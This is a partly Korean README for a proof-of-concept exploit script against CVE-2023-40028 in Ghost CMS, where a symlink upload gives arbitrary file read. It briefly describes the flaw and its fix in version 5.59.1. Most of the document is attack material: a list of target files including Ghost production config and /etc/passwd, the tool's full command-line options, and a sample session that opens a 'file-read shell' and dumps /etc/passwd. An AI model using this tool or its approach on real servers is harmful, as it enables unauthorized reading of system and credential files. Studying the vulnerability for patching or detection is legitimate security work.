
CVE-2023-40028용 POC: Ghost CMS 임의 파일 읽기
이 PoC(Proof-of-Concept)는 CVE-2023-40028을 악용하여 Ghost CMS에서 파일 읽기 접근을 달성하는 데 사용할 수 있습니다.
Ghost는 오픈 소스 콘텐츠 관리 시스템(CMS)입니다. 5.59.1 이전 버전은 인증된 사용자가 심볼릭 링크인 파일을 업로드할 수 있게 하는 취약점의 영향을 받습니다. 이는 호스트 운영 체제의 모든 파일에 대해 임의 파일 읽기를 수행하는 데 악용될 수 있습니다. 사이트 관리자는 Ghost의 content/ 폴더에서 알 수 없는 심볼릭 링크를 찾아 이 문제의 악용 여부를 확인할 수 있습니다. 버전 5.59.1에는 이 문제에 대한 수정이 포함되어 있습니다. 모든 사용자는 업그레이드하는 것이 좋습니다. 이 취약점에 대해 알려진 해결 방법은 없습니다.
심각도: 6.5 MEDIUM 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
관심 대상이 될 수 있는 일부 일반 텍스트(비바이너리) 파일:
/etc/hosts Linux 로컬 DNS 확인/etc/passwd Linux 사용자 계정/etc/group Linux 사용자 그룹/var/lib/ghost/config.local.json Ghost CMS 로컬 구성/var/lib/ghost/config.production.json Ghost CMS 프로덕션 구성usage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash